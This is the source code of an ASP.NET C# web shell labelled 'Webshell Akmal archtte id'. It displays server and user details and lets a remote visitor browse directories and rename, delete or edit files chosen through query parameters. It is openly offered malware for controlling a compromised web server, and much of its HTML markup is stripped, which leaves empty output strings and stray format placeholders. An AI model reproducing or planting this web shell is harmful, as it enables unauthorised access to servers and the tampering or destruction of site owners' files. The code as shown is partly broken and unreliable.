<%@ Page Language="C#" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System" %> Webshell Akmal archtte id

Webshell Akmal archtte id

System: <%= Environment.OSVersion %>
Server: <%= Request.ServerVariables["SERVER_SOFTWARE"] %>
User: <%= Environment.UserName %>
<% string currentDirectory = Request.QueryString["dir"] ?? Server.MapPath("~/"); string[] pathParts = currentDirectory.Split(new char[] { Path.DirectorySeparatorChar }, StringSplitOptions.RemoveEmptyEntries); string pathBuilder = string.Empty; Response.Write("Directory: "); foreach (string part in pathParts) { pathBuilder += part + Path.DirectorySeparatorChar; Response.Write(String.Format("{1}{2}", Server.UrlEncode(pathBuilder), part, Path.DirectorySeparatorChar)); } %>
<% string[] directories = Directory.GetDirectories(currentDirectory); string[] files = Directory.GetFiles(currentDirectory); foreach (string directory in directories) { DirectoryInfo dirInfo = new DirectoryInfo(directory); Response.Write(""); Response.Write(String.Format("", Server.UrlEncode(dirInfo.FullName), dirInfo.Name)); Response.Write(""); Response.Write(""); Response.Write(String.Format("", Server.UrlEncode(dirInfo.FullName))); Response.Write(""); } foreach (string file in files) { FileInfo fileInfo = new FileInfo(file); Response.Write(""); Response.Write(String.Format("", fileInfo.Name)); Response.Write(String.Format("", fileInfo.Length)); Response.Write(String.Format("", fileInfo.Extension)); Response.Write(String.Format("", Server.UrlEncode(fileInfo.FullName))); Response.Write(""); } %>
Name Size Type Actions
{1}-DirectoryRename Delete
{0}{0} bytes{0}Edit Rename Delete
<% if (Request.QueryString["action"] == "rename" && !string.IsNullOrEmpty(Request.QueryString["dir"] ?? Request.QueryString["file"])) { string renamePath = Request.QueryString["dir"] ?? Request.QueryString["file"]; %>

Rename: <%= Path.GetFileName(renamePath) %>

<% } %>